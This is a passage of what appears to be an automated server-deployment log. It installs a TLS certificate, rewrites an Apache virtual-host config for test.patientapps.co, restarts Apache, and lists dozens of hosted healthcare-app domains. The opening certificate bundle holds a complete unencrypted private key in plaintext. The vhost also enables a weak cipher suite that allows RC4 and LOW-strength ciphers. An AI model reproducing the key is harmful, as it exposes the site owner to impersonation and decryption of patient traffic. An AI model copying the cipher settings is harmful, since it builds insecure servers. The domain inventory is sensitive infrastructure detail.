92nnVq004a9xPDo2NRAYGJ9HFrWyQGxd/ziM7dCdxxramm9x4fVHS6g2fDFu2liB
yM2HsnuRo3YLXLXZkdeyGl6ucXprL+zQE45ml3rdN32hY1Q28JVp1UCXNq4YdA8X
cOR5LZQSzILNyKngHzYxkrlz/5/nbpmHUP/pcbPPqhEmGuGCLgJf2EEEady4mQw/
3qBhKk7wnkM8IDviQn+zXW7XhWYMgwIDAQABo4ICIzCCAh8wDgYDVR0PAQH/BAQD
AgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBTRJnYt6MjrWLdzhww6nKD0O8X7RjAfBgNVHSMEGDAWgBTnq58P
LDOgU9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTMuaS5sZW5jci5vcmcvMB4GA1UdEQQXMBWCE3Rlc3QucGF0aWVudGFw
cHMuY28wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0
cDovL3IxMy5jLmxlbmNyLm9yZy8xMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHy
APAAdwDtPEvW6AbCpKIAV9vLJOI4Ad9RL+3EhsVwDyDdtz4/4AAAAZlCt+k1AAAE
AwBIMEYCIQDQnh0MWo0rrZQASrR6hSQ16ZyZxUlDRzORqx0UYJXk9gIhAJHFR8cg
f4R9ey9LnL2wa7BCXkFMdXB2oIjBcp3KJtoOAHUAGgT/SdBUHUCv9qDDv/HYxGcv
TuzuI0BomGsXQC7ciX0AAAGZQrfpRQAABAMARjBEAiBZu/zb8yXAJa2r+SqjLdFS
3uMOaVG+q09wCYgfTlUdbQIgV0QGLBKNGIpjG+Tqh6oq7Bcr4AsqweTM4KwUW/eC
YMcwDQYJKoZIhvcNAQELBQADggEBAJOOB+Q3AGhl76gKiEI4HoSQ5y4dGA1uSDBe
gutXIPZLByPcRKetFByxknPyxSRJijLiQepmgs1bt2v/S13GnRZUhzKXrk77TliO
3NHlXGpSCGefeceLtEAGkQdrDgAdMgunOgMkRFc8gzSfNckpW3WaEId7ffbi7v8N
9s57e8FhkNZ0zMoAoz6PJum4QkgoiFkUfrNuaIGvOGPiTBnDYVhhbNJsYc3o2G59
W4LMkPC0n9WZGD4u0WmKgsPQ0A36f4wvYp3IKTxYVzVUtYy2wHzMfzCnm+QtmcUm
M2Jjo8cHLhRUu5wWcu2a8GLKnFZvioQI+btIVHIsDBP4RclOJbI=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC31wtgGW8unpgv
AQA5OhlANQyHiFGg4mytUb+FF/J6/2L+rQylPd6uNFJmzAXbGqP9zCrxM+C0KZGE
Tiatq5qlqk8AOjr1mKsxQh9RoEnYL6ja3WrpfJzFgvn3aedWrTThr3E8OjY1EBgY
n0cWtbJAbF3/OIzt0J3HGtqab3Hh9UdLqDZ8MW7aWIHIzYeye5GjdgtctdmR17Ia
Xq5xemsv7NATjmaXet03faFjVDbwlWnVQJc2rhh0Dxdw5HktlBLMgs3IqeAfNjGS
uXP/n+dumYdQ/+lxs8+qESYa4YIuAl/YQQRp3LiZDD/eoGEqTvCeQzwgO+JCf7Nd
bteFZgyDAgMBAAECggEAI+5S2dh+w4TZx64RZh3123fC2CaLlb9LcGCe5xt0GBgc
OByIcS9ze2bciBzuNBGz5aHm7ret/mh1eX9wzdbRZfmwcSHwbhoFs53x0xlZ9Xfz
L7vA7pudZHkh8/pt7aHyyP1qS1QxThO0MfPHiCfBDBhiEsTxvnVcsRKNkUug3YGn
B+TDxfcfbKzqbL/zapYSGAMC4CTh6vBievW87CUWjW/ww5vwZ1Myh5lzQvK+bnT5
WlA81YN0FOipt3s845tNTySaP+uasdlHFz64i+RjCuRS+M9iA2NN7SL28WXBSTqB
oOCGs32ZQEx1dq1oUXlw2Z96P99GEv9VPUML6MaByQKBgQDotYwXMcBXO9EkT+mp
FdyOi1wveKUwbooDO77ZRiDB/YAtT+D6JvByAlLKZ5ovsiSxtl4SaVDS7hUHFNbU
UShSDlRJIzN2jwBFoI0WsUhSh28E7m3pqnndrS9rw1a/Uf+coZ4Cr1gzPAbl0s2l
iL1l5ghmO8d1Ao6wm0Wj2UCuPwKBgQDKPWBXRt3JvPDJ+4z8woZV+WaG/MrjdeEc
bPrZ3k3gEWCzPeW+ZY5wWR9Zw20YRJZ/GFFRYiJNFz1iUa52qBgIkEF6GnF2qkC8
OqVnToX4aE7TldPBpYDy9VRJJ4B5iAOVt74tE+in3HUEmoFj5Spyp8E+WhoC60r2
eaVuWtCYvQKBgC4VFYLaVU5xB/9627iiHaUUr9Kuv3eRzD7LrAV2v7Hqs2FFujWP
VHofP6nZTk03p9CRXpuiw2ChyQQ3+jrdP3DQaZx6HgzSUKl5G7dsr/e33iJJ3PYy
ziM50nQyoJEOeeHYl2PMuVicAHmufw7Svz7YiL1GBT+EnCEY/ndt5EMdAoGAcSWp
kurJByc4KCkelgNXGR6xp/AiquO2kCrApcfkFepjCaUltkInUN/r1FKr5JnrASxf
woJ+4laQN0Ovsh8VYyUiHOhSdquGEElXZNbfyTzCbUoz8PFhlYyAHXWGQXhBWTA1
rA6padDDf1HZ9kOuXftQ+Et8pglyJTelwHn6npkCgYEAmf3oNdyddcrxa13V3p/q
n/SjgT6+GLWc7m20Th5UpNX/7dGZW83yu7EO6NfkvtxiJ/PVFV+pKKrPFCo4c9qR
ogqlsMkOLqjPPaafmCTtRWZBgKpK/bf0ateyFyo34szCyn5yto6m9cMTtJtb1dZA
rgzpjkykU+zA7iWaYYcJQA8=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-13 10:56:13: 

chmod 755 /tmp/pkp267803; /tmp/pkp267803; rm /tmp/pkp267803

2025-09-13 10:56:13: 


dir=/etc/ssl/certs


2025-09-13 10:56:13: 

PUT: /tmp/pkp160341

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_test_co.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-13 10:56:13: 

chmod 755 /tmp/pkp160341; /tmp/pkp160341; rm /tmp/pkp160341

2025-09-13 10:56:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_test_co.conf 43

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-13 10:56:13: 

PUT: /tmp/pkp301165

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_test_co.conf
TARGET=/etc/apache2/sites-enabled/patientapps_test_co.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	test.patientapps.co
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4d585ce19a4f3515f777a21dc27e293
    DocumentRoot	/var/www/patientapps_test
    <Directory /var/www/patientapps_test>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/test_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/test_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_test_co.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_test_co.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_test_co.conf= 1'
fi


2025-09-13 10:56:13: 

chmod 755 /tmp/pkp301165; /tmp/pkp301165; rm /tmp/pkp301165

2025-09-13 10:56:13: 




2025-09-13 10:56:13: 

PUT: /tmp/pkp885744

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-13 10:56:13: 

chmod 755 /tmp/pkp885744; /tmp/pkp885744; rm /tmp/pkp885744

2025-09-13 10:56:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-13 10:56:14: Establishing a connection
2025-09-13 10:56:14: 

PUT: /tmp/pkp672517

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-13 10:56:14: 

chmod 755 /tmp/pkp672517; /tmp/pkp672517; rm /tmp/pkp672517

2025-09-13 10:56:14: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
         port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
         port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
                 alias www.ma1-anin.myapp.care
         port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
                 alias www.ma1-ankp.myapp.care
         port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
                 alias www.ma1-anrp.myapp.care
         port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
                 alias www.ma1-arcr.myapp.care
         port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
                 alias www.ma1-asst.myapp.care
         port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
                 alias www.ma1-chel.myapp.care
         port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
                 alias www.ma1-cybb.myapp.care
         port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
         port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
                 alias www.ma1-epas.myapp.care
         port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
                 alias www.ma1-fass.myapp.care
         port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
         port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
         port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
                 alias www.ma1-ldhr.myapp.care
         port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
                 alias www.ma1-lsst.myapp.care
         port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
                 alias www.ma1-mtfp.myapp.care
         port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
                 alias www.ma1-mvrc.myapp.care
         port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
                 alias www.ma1-octf.myapp.care
         port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
         port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
                 alias www.ma1-ovin.myapp.care
         port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
                 alias www.ma1-pfer.myapp.care
         port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
                 alias www.ma1-prls.myapp.care
         port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
                 alias www.ma1-rcl.myapp.care
         port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
         port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
                 alias www.ma1-rorp.myapp.care
         port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
                 alias www.ma1-savr.myapp.care
         port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
                 alias www.ma1-shem.myapp.care
         port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
                 alias www.ma1-sspr.myapp.care
         port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
                 alias www.ma1-tosr.myapp.care
         port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
         port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
                 alias www.ma1-tylo.myapp.care
         port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
                 alias www.ma1-typa.myapp.care
         port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
                 alias www.ma1-tyto.myapp.care
         port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
                 alias www.ma1-utfa.myapp.care
         port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
